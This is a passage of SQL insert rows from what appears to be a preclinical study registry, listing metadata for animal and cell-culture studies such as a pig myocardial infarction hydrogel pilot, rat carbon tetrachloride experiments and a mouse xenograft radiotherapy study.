	(7837,200,'financial_support','[\"grants\"]','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7838,200,'start_date','\"2020-07-24\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7839,200,'end_date','\"2020-09-03\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7840,200,'study_status','\"completed_but_not_published\"','2022-03-31 13:23:53','2022-03-31 13:23:56'),
	(7841,200,'research_field','\"Cardiology\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7842,200,'hypothesis','\"Acute myocardial infarction (AMI)\\/ ischaemia-reperfusion injury (I\\/R)\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7843,200,'other_intervention_type','\"Surgical procedure + acute administration of compound\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7844,200,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7845,200,'primary_readout_parameter','\"Feasibility: The primary endpoint of this pilot is defined as survival rate of animals included in our study derived from: the induction of the myocardial infarction, the acute epicardial administration of the hydrogel and the mechanical compression that the hydrogel exerts within the myocardium. This assessment will be based on electrocardiography monitoring and ventilation parameters.\"','2022-03-31 13:23:53','2022-03-31 13:23:56'),
	(7846,200,'secondary_readout_parameter','\"The secondary endpoint is defined as the occurrence of arrhythmias derived from the administration of the hydrogel (epicardial injections) and the retention of the hydrogel within the left ventricular wall.\"','2022-03-31 13:23:53','2022-03-31 13:23:56'),
	(7847,200,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7848,200,'species','\"pig\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7849,200,'strain','\"Topigs Norsvin pigs of 60-65kg\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7850,200,'sex','\"both\"','2022-03-31 13:23:53','2022-03-31 13:23:56'),
	(7851,200,'experimental_design','\"Porcine animal model of acute myocardial infarction (AMI) induced by the obliteration of the left coronary descending artery via balloon occlusion technique.\"','2022-03-31 13:23:53','2022-03-31 13:23:55'),
	(7852,200,'sample_size_calculation','\"no\"','2022-03-31 13:23:53','2022-03-31 13:23:56'),
	(7853,200,'sum_of_animals','\"3\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7854,200,'study_arms','[{\"type\":\"intervention\",\"number\":\"3\",\"intervention\":\"LAD occlusion + hydrogel\"}]','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7855,200,'randomisation','\"no\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7856,200,'why_no_randomisation','\"This is a pilot study in which animals will undergo the same surgical procedure and will be administered the same biomaterial. We want to assess the feasibility of the study, therefore a randomisation was not needed.\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7857,200,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7858,200,'yes_blinded_intervention_partially_details','\"No\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7859,200,'placebo_controlled','\"no\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7860,200,'has_embargo','\"no\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7861,200,'application_number','\"CCD license number AVD115002015257\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7862,201,'title','\"Effects of Sida corymbosa Extract on Electrolytes of Rats Injected Carbon Tetrachloride\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7863,201,'short_title','\"Effects of Sida corymbosa Extract on Electrolytes\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7864,201,'contact_name','\"Charles Dike\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7865,201,'contact_role','\"Executive researcher\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7866,201,'contact_email','\"cc.dike@unizik.edu.ng\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7867,201,'study_centre','[{\"name\":\"College of Health Sciences Nnamdi Azikiwe University, Nnewi Campus, Anambra State, Nigeria\",\"city\":\"Nnewi\",\"country\":\"NG\"}]','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7868,201,'financial_support','[\"other\"]','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7869,201,'other_financial_support','\"No grant received, the work was self-sponsored\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7870,201,'start_date','\"2019-07-12\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7871,201,'end_date','\"2020-01-04\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7872,201,'study_status','\"completed_but_not_published\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7873,201,'research_field','\"Acid-base balance\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7874,201,'hypothesis','\"Sida corymbosa ethanolic leaf extract affects serum electrolyte of rats injected Carbon tetrachloride in a dose and time dependent manner. Carbon tetrachloride was injected daily for 3 d.\"','2022-03-31 13:23:53','2022-03-31 13:23:54'),
	(7875,201,'intervention_type','\"other\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7876,201,'other_intervention_type','\"Treatment of the problem group\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7877,201,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7878,201,'primary_readout_parameter','\"Efficacy: Serum electrolytes such as  Sodium, chloride, potassium and bicarbonate ions shall be measured using serum of rats for 4 weeks not on daily bases\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7879,201,'secondary_readout_parameter','\"Decreased levels of  sodium, chloride and bicarbonate ions and increased levels of potasium in rats given Sida corymbosa ethanolic leaf extract before and after  carbon tetrachloride injection\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7880,201,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7881,201,'species','\"rat\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7882,201,'other_species','\"Albino Wistar rats\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7883,201,'strain','\"Wistar rats\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7884,201,'sex','\"male\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7885,201,'experimental_design','\"Rats\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7886,201,'sample_size_calculation','\"no\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7887,201,'sum_of_animals','\"160 rats used because each group contained 5 rats and the study is for both preventive and curative studies\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7888,201,'study_arms','[{\"type\":\"control\",\"number\":\"20\",\"intervention\":\"use to compare others groups\"},{\"type\":\"other\",\"number\":\"20\",\"intervention\":\"Problem group( group injected Carbon tetrachloride only and left to stay from 7 d to 28 d (Group B)\"},{\"type\":\"intervention\",\"number\":\"120\",\"intervention\":\"Those given Sida corymbosa ethanolic leaf extract from 7 to 28 before and after Carbon tetrachloride injection\"}]','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7889,201,'randomisation','\"yes\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7890,201,'randomisation_method_used','\"shuffled_blinded_envelopes\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7891,201,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7892,201,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7893,201,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7894,201,'placebo_controlled','\"yes\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7895,201,'application_number','\"This is the ethics committee application number: NAU\\/CHS\\/NC\\/FBMS\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7896,201,'has_embargo','\"no\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7897,203,'title','\"The influence of prooxidants on the structural and functional features of glycoprotein-P and the state of the membrane of Caco-2 cells\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7898,203,'study_centre','[{\"name\":\"Ryazan State Medical University\",\"city\":\"Ryazan\",\"country\":\"RU\"}]','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7899,203,'financial_support','[\"grants\"]','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7900,203,'start_date','\"2019-09-27\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7901,203,'end_date','\"2021-05-27\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7902,203,'study_status','\"active\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7903,203,'research_field','\"biochemistry, pharmacology\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7904,203,'hypothesis','\"The study will investigate the effect of oxidative and nitrosative stress on the activity and expression of Pgp. It is assumed that at low concentrations of hydrogen peroxide and peroxynitrite and prolonged exposure, an increase in the expression and activity of this transporter protein will be observed. With an increase in the concentration of prooxidants, it can be assumed that the expression of Pgp will decrease. In this case, it is most likely that it will be impossible to adequately assess the activity of the transporter protein, since the development of oxidative and nitrosative stress will increase the membrane permeability, assessed by the transport of famotidine.\\nIt can be assumed that when exposed to low concentrations of hydrogen peroxide and peroxynitrite, the expression of Pgp will be similar when using different antibodies against this transporter protein, which will reflect an increase in its synthesis.\\nAt the same time, with an increase in oxidative and nitrosative stress caused by an increase in the concentration of pathogens, a decrease in Pgp expression can be expected, primarily when using antibodies to the terminal regions of the protein. It is expected that the reaction using antibodies to the active site of the protein will last the longest.\\nThe study will also assess the role of transcription factors Nrf-2, CAR, PXR in changing the activity and expression of glycoprotein-P. Taking into account the important role of the transcription factor Nrf-2 in maintaining redox homeostasis, it can be assumed that it will be associated with changes in Pgp expression.\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7905,203,'intervention_type','\"delivery_method\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7906,203,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7907,203,'primary_readout_parameter','\"Efficacy: The present work will be performed in vitro on the cell line Caco-2 (human colon adenocarcinoma cells) obtained from the Federal State Budgetary Institution of Science of the Research Center of the Russian Academy of Sciences, St. Petersburg. This cell line is widely used to study the transport of drugs with the participation of Pgp, as well as to study the effect of various substances on the activity of the transporter protein (Elsby R. et al., 2008; FDA, 2017).\\nThe cells are cultured in a special transwell system, consisting of two chambers: apical and basolateral (Riede J. et al., 2019). The bottom of the apical chamber is represented by a semipermeable membrane, on which cells with a density of 105 \\/ cm2 (or 33,000 cells \\/ cell) are seeded. We will use a 24-well plate with a semipermeable membrane 0.33 cm in diameter and 0.4 \\u00b5m pore diameter (24 mmTranswell\\u00ae-COL Collagen-Coated 0.4 \\u00b5m Pore PTFE MembraneInsert, Sterile, Corning, USA).\\nFrom the 22nd day of culturing on cells, transport experiments begin when the transepithelial resistance is above 500 mOhm * cm2 (Chen S. et al., 2015; Srinivasan B. et al., 2015). This period of cultivation is necessary because it is at this period that spontaneous differentiation of cells occurs into a structure similar to the intestinal epithelium, overexpressing PGp (Hilgers A.R. et al., 1990).\\nTo perform biochemical studies (assessment of Pgp expression, the severity of oxidative and nitrosative stress), cells will be cultured in a 12-well plate for the same period.\\n2. The activity of Pgpinvitro will be assessed by the transport of the marker substrate of the transporter protein - fexofenadine (Sigma-Aldrich, Germany) in the transwell system. To do this, the culture medium is replaced with Hanks solution (Sigma-Aldrich, Germany), buffered with 25 mMHepes at pH 7.4 (Sigma-Aldrich, Germany) containing 1% dimethyl sulfoxide (PanEco, Russia) (transport medium ). Then, fexofenadine is added to the apical chamber at a final concentration of 150 \\u03bcM (PetriN. Et al., 2004), and then after 1, 2 and 3 hours, 50 \\u03bcL of samples are taken from the basolateral chamber to determine the concentration of the marker substrate (ab transport due to passive diffusion against work Pgp).\\nThen, in other transwell systems, transport of fexofenadine from the basolateral chamber to the apical chamber (b-a transport mediated by passive diffusion and a transporter protein) is assessed. For this, the substrate at the same concentration of 150 \\u03bcM is added to the basolateral chamber, and then after 1, 2 and 3 hours, 50 \\u03bcl of samples are taken from the apical chamber to determine the concentration of fexofenadine.\\nTransport of fexofenadine both from chamber a to chamber b and vice versa is estimated by the formula [ElsbyR. etal., 2008]: Papp = dQ \\/ dt * 1 (A * C0), where Papp is the apparentpermeabilitycoefficient, dQ \\/ dt is the change in the substrate concentration in the recipient chamber during incubation, A is the area of \\u200b\\u200bthe semipermeable membrane of the well in in the transwell system on which the cells were cultured, C0 is the initial concentration of the substrate in the donor chamber.\\nThen calculate the ratio of the coefficients of apparent permeability: b-a to a-b. This parameter is integral and evaluates the overall contribution of Pgp to the transport of fexofenadine across the bilipid membrane.\\n3. Assessment of the integrity of the bilipid membrane of Caco-2 cells. Since the activity of Pgp is assessed by the penetration of its substrate fexofenadine through the bilipid membrane of Caco-2 cells, to confirm the adequacy of the approach used, it is necessary to assess the integrity of the bilipid membrane. For this, transport will be assessed (coefficients of apparent permeability Papp, ratio of coefficients of apparent permeability: ba to ab) of famotidine (100 \\u03bcmol \\/ L, Sigma-Aldrich, Germany) (FDA 2017; Jarct. Et al., 2019). Famotidine is not a substrate transporter proteins expressed in Caco-2 cells poorly penetrate the bilipid membrane, and an increase in its transport rate will indicate damage to the bilipid membrane (JarcT. et al., 2019).\\n4. The concentration of fexofenadine and famotidine in the transport medium will be determined by HPLC with UV detection (fexofenadine - according to the original method (Shchulkin A.V. et al., 2019), famotidine according to the method - Nita A. et al., 2018 in its own modification).\\nOxidative stress in vitro will be simulated by adding hydrogen peroxide (Sigma-Aldrich, Germany) to the nutrient medium at final concentrations of 1, 5, 10, 50, 100 \\u03bcM and incubation for 30 min, 6 h, 24 h and 3 days (G\\u00fcldenM, 2010; XiangJ, 2016).\\nThe severity of oxidative stress will be assessed by the concentration of TBA-reactive products (kit for biochemical analysis), the level of SH-groups (kit for biochemical analysis (SERVA, Germany).\\nQuantification of glycoprotein P, Nrf, will be determined by enzyme immunoassay\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7908,203,'exclusive_animal_use','\"no\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7909,203,'no_exclusive_animal_use_details','\"The present work will be performed in vitro on the cell line Caco-2 (human colon adenocarcinoma cells) \"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7910,203,'other_species','\"cells Caco-2\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7911,203,'sex','\"both\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7912,203,'has_embargo','\"no\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7913,203,'experimental_design','\"exogenous and nedogenous oxidative stress model\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7914,203,'sample_size_calculation','\"yes\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7915,203,'sample_size_calculation_details','\"n=3 for each series of experiment\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7916,203,'sum_of_animals','\"168 wells with cells (1 well contains 2-3 million cells)\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7917,203,'study_arms','[{\"type\":\"control\",\"number\":\"24\",\"intervention\":\"\"},{\"type\":\"intervention\",\"number\":\"48\",\"intervention\":\"exogenous exposure to hydrogen peroxide 3 hours (0,1-50 micromole)\"},{\"type\":\"intervention\",\"number\":\"48\",\"intervention\":\"exogenous exposure to hydrogen peroxide 24 hours (0,1-50 micromole)\"},{\"type\":\"intervention\",\"number\":\"48\",\"intervention\":\"exogenous exposure to hydrogen peroxide 72 hours (0,1-50 micromole)\"},{\"type\":\"intervention\",\"number\":\"48\",\"intervention\":\"endogenous oxidative stress, exposure to butionine sulfoximine 0,1-200 micromole\"}]','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7918,203,'randomisation','\"yes\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7919,203,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7920,203,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7921,203,'placebo_controlled','\"no\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7922,203,'contact_name','\"Igor Suchkov\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7923,203,'contact_email','\"nauka@rzgmu.ru\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7924,204,'title','\"Effects of Anacardium occidentale on carbon Tetrachloride-Induced Hepatotoxicity on Male Rats\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7925,204,'short_title','\"Effects of Anacardium occidentale on  Hepatotoxicity\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7926,204,'contact_name','\"Charles Dike\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7927,204,'contact_role','\"Executive researcher\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7928,204,'contact_email','\"cc.dike@unizik.edu.ng\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7929,204,'study_centre','[{\"name\":\"Department of Human Biochemistry, Faculty of Basic Medical Sciences,Nnamdi Azikiwe University, Nnewi campus\",\"city\":\"Nnewi \",\"country\":\"NG\"}]','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7930,204,'financial_support','[\"other\"]','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7931,204,'other_financial_support','\"No sponsor\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7932,204,'start_date','\"2020-01-06\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7933,204,'end_date','\"2020-08-01\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7934,204,'study_status','\"active\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7935,204,'research_field','\"Clinical Biochemistry\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7936,204,'hypothesis','\"Anacardium occidentale  reverses liver toxicity\"','2022-03-31 13:23:53','2022-03-31 13:23:54'),
	(7937,204,'other_intervention_type','\"treatment\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7938,204,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7939,204,'primary_readout_parameter','\"Efficacy: Efficacy based on  serum liver enzymes,  bilirubin and liver architectures using histopathology after 3 weeks\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7940,204,'secondary_readout_parameter','\"Anacardium occidentale improves liver health\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7941,204,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7942,204,'species','\"rat\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7943,204,'other_species','\" Albino rats\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7944,204,'strain','\"Holtzman albino strains\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7945,204,'sex','\"male\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7946,204,'experimental_design','\"Wistar\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7947,204,'sample_size_calculation','\"no\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7948,204,'sum_of_animals','\"40 rats\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7949,204,'study_arms','[{\"type\":\"control\",\"number\":\"8\",\"intervention\":\"Group A: use to compare others groups\"},{\"type\":\"other\",\"number\":\"8\",\"intervention\":\"GroupB: Problem group: group injected Carbon tetrachloride only and left to stay for 21 d\"},{\"type\":\"intervention\",\"number\":\"24\",\"intervention\":\"Groups C -E: Treatment groups(Groups given Anacardium occidentale for 21 d after injecting carbon tetreachloride\"}]','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7950,204,'randomisation','\"yes\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7951,204,'randomisation_method_used','\"shuffled_blinded_envelopes\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7952,204,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7953,204,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7954,204,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7955,204,'placebo_controlled','\"yes\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7956,204,'application_number','\"NAU\\/CHS\\/NC\\/127\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7957,204,'has_embargo','\"yes\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7958,205,'title','\"Anti-Ulcer Effects of unriped Musa paradisiacae Extracts\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7959,205,'short_title','\"Anti-Ulcer Effects of  Musa paradisiacae\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7960,205,'contact_name','\"Charles Dike\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7961,205,'contact_role','\"Executive researcher\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7962,205,'contact_email','\"cc.dike@unizik.edu.ng\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7963,205,'study_centre','[{\"name\":\"Department of Human Biochemistry, Faculty of Basic Medical Sciences, College of Health Sciences, Nnamdi Azikiwe University, Nnewi Campus\",\"city\":\"Nnewi\",\"country\":\"NG\"}]','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7964,205,'financial_support','[\"other\"]','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7965,205,'other_financial_support','\"No sponsorship\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7966,205,'start_date','\"2020-02-04\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7967,205,'end_date','\"2020-08-20\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7968,205,'study_status','\"active\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7969,205,'research_field','\"Clinical Biochemistry\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7970,205,'hypothesis','\"Musa paradisiacae has Anti-Ulcer effects\"','2022-03-31 13:23:53','2022-03-31 13:23:54'),
	(7971,205,'intervention_type','\"other\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7972,205,'other_intervention_type','\"treatment\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7973,205,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7974,205,'primary_readout_parameter','\"Efficacy: . efficacy based  on damages on intestinal mucosa\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7975,205,'secondary_readout_parameter','\"Musa paradisiacae reduces damages to intestinal mucosa\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(7976,205,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(7977,205,'species','\"rat\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(7978,205,'other_species','\" rats\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(7979,205,'strain','\"Holtzman albino strain\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(7980,205,'sex','\"male\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(7981,205,'experimental_design','\"Albino\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(7982,205,'sample_size_calculation','\"no\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(7983,205,'sum_of_animals','\"60 rats\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(7984,205,'study_arms','[{\"type\":\"control\",\"number\":\"10\",\"intervention\":\"Group1 :to compare with other groups\"},{\"type\":\"other\",\"number\":\"10\",\"intervention\":\"Group 2:Problem group( group to compare with groups given treatment  with Musa paradisiacae Aqueous pulp and peel extracts for 28 d after injecting Indomethacin)\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Groups 3: Those induced ulcer and given Musa paradisiacae pulp extract for 28 d\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Those given Musa paradisiacae extracts only for 28 d\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Those induced with ulcer and given Musa paradisiacae peel extract\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Those given Musa paradisiacae extracts only\"}]','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(7985,205,'randomisation','\"yes\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(7986,205,'randomisation_method_used','\"shuffled_blinded_envelopes\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(7987,205,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(7988,205,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(7989,205,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(7990,205,'placebo_controlled','\"yes\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(7991,205,'application_number','\"NAU\\/CHS\\/NC\\/FBMS\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(7992,205,'has_embargo','\"no\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(7993,206,'title','\"Combination of a novel Hypoxia Activated Prodrug CP-506 with radiotherapy to improve local tumor control\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(7994,206,'short_title','\"Hypoxia Activated Prodrug CP-506 and radiotherapy\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(7995,206,'contact_name','\"Ala Yaromina\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(7996,206,'contact_role','\"Supervisor of the project, executive researcher\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(7997,206,'contact_email','\"ala.yaromina@maastrichtuniversity.nl\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(7998,206,'study_centre','[{\"name\":\"UM, Dept. Precision Medicine\",\"city\":\"Maastricht\",\"country\":\"NL\"},{\"name\":\"TUD, OncoRay\",\"city\":\"Dresden\",\"country\":\"DE\"}]','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(7999,206,'financial_support','[\"industry\",\"_investigator_driven\",\"grants\"]','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8000,206,'start_date','\"2020-08-18\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8001,206,'end_date','\"2021-03-01\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8002,206,'study_status','\"active\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8003,206,'research_field','\"Oncology, Radiobiology\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8004,206,'hypothesis','\"Hypoxia-activated prodrug CP-506 improves tumor response (local control rate, time to recurrence) to large single dose radiation\"','2022-03-31 13:23:54','2022-03-31 13:23:55'),
	(8005,206,'intervention_type','\"compound\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8006,206,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8007,206,'primary_readout_parameter','\"Efficacy: Efficacy will be based on local tumor control. Recurrence will be scored when the tumor volume increases for three consecutive measurements after passing a nadir; otherwise local control will be scored or animal will be considered censored.Three-dimensional tumor measurements using a caliper will be performed twice a week or once per week when local tumor control has been reached for up to 180 days. It is expected that local control rate in experimental group will be significantly higher than in control group.\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8008,206,'secondary_readout_parameter','\"Time to recurrence. Kaplan-Meier survival analysis will be used to compare treatment groups.\\nIn parallel to efficacy study, tumor hypoxic fraction will be measured using hypoxia marker pimonidazole before treatment and after CP-506 treatment prior to irradiation in control and experimental groups. \"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8009,206,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8010,206,'species','\"mouse\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8011,206,'strain','\"nude mice\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8012,206,'sex','\"both\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8013,206,'experimental_design','\"human tumor xenografts\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8014,206,'sample_size_calculation','\"yes\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8015,206,'sample_size_calculation_details','\"2-sample test for equality of proportions with continuity correction, \\u03b1 = 5%, Power = 80%, p0 = 35%, p1 = 80%, drop-outs: n=3 per treatment group\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
	(8016,206,'sum_of_animals','\"To test therapeutic efficacy of the experimental treatment, we will use 3 different tumor models. For each tumor model we will use 50 mice. In total we will use 150 animals.\"','2022-03-31 13:23:54','2022-03-31 13:23:54'),
